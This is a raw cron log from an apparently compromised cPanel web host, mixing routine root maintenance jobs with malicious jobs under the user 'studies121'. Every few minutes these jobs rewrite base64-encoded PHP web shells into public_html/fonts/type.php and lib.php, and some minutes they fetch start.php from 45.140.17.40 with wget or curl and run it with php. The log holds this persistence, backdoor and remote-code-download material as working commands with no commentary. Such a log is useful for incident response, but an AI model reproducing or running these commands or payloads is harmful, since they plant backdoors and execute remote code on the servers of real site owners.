Feb 22 17:31:01 ip-184-168-122-23 CROND[18613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:31:01 ip-184-168-122-23 CROND[18614]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 17:31:01 ip-184-168-122-23 CROND[18616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:32:01 ip-184-168-122-23 CROND[19045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:32:01 ip-184-168-122-23 CROND[19046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:32:01 ip-184-168-122-23 CROND[19048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:32:01 ip-184-168-122-23 CROND[19050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:32:01 ip-184-168-122-23 CROND[19047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:33:01 ip-184-168-122-23 CROND[19363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:33:01 ip-184-168-122-23 CROND[19365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:33:01 ip-184-168-122-23 CROND[19364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:33:01 ip-184-168-122-23 CROND[19366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:34:01 ip-184-168-122-23 CROND[19701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:34:01 ip-184-168-122-23 CROND[19703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:34:01 ip-184-168-122-23 CROND[19704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:34:01 ip-184-168-122-23 CROND[19706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:34:01 ip-184-168-122-23 CROND[19705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:35:01 ip-184-168-122-23 CROND[20051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:35:01 ip-184-168-122-23 CROND[20053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:35:01 ip-184-168-122-23 CROND[20054]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 17:35:01 ip-184-168-122-23 CROND[20052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:35:01 ip-184-168-122-23 CROND[20055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:35:01 ip-184-168-122-23 CROND[20062]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 17:35:01 ip-184-168-122-23 CROND[20064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:35:01 ip-184-168-122-23 CROND[20065]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:36:01 ip-184-168-122-23 CROND[20399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:36:01 ip-184-168-122-23 CROND[20401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:36:01 ip-184-168-122-23 CROND[20404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:36:01 ip-184-168-122-23 CROND[20405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:36:01 ip-184-168-122-23 CROND[20406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:37:01 ip-184-168-122-23 CROND[20817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:37:01 ip-184-168-122-23 CROND[20820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:37:01 ip-184-168-122-23 CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:37:01 ip-184-168-122-23 CROND[20818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:38:02 ip-184-168-122-23 CROND[21161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:38:02 ip-184-168-122-23 CROND[21163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:38:02 ip-184-168-122-23 CROND[21164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:38:02 ip-184-168-122-23 CROND[21167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:38:02 ip-184-168-122-23 CROND[21168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:39:01 ip-184-168-122-23 CROND[21479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:39:01 ip-184-168-122-23 CROND[21480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:39:01 ip-184-168-122-23 CROND[21483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:39:01 ip-184-168-122-23 CROND[21485]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 17:39:01 ip-184-168-122-23 CROND[21484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:40:01 ip-184-168-122-23 CROND[21845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:40:01 ip-184-168-122-23 CROND[21844]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:40:01 ip-184-168-122-23 CROND[21848]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 17:40:01 ip-184-168-122-23 CROND[21849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:40:01 ip-184-168-122-23 CROND[21854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:40:01 ip-184-168-122-23 CROND[21856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:40:01 ip-184-168-122-23 CROND[21860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:40:01 ip-184-168-122-23 CROND[21859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:41:01 ip-184-168-122-23 CROND[22195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:41:01 ip-184-168-122-23 CROND[22196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:41:01 ip-184-168-122-23 CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:41:01 ip-184-168-122-23 CROND[22200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:42:01 ip-184-168-122-23 CROND[22624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:42:01 ip-184-168-122-23 CROND[22626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:42:01 ip-184-168-122-23 CROND[22627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:42:01 ip-184-168-122-23 CROND[22628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:42:01 ip-184-168-122-23 CROND[22630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:43:01 ip-184-168-122-23 CROND[22968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:43:01 ip-184-168-122-23 CROND[22969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
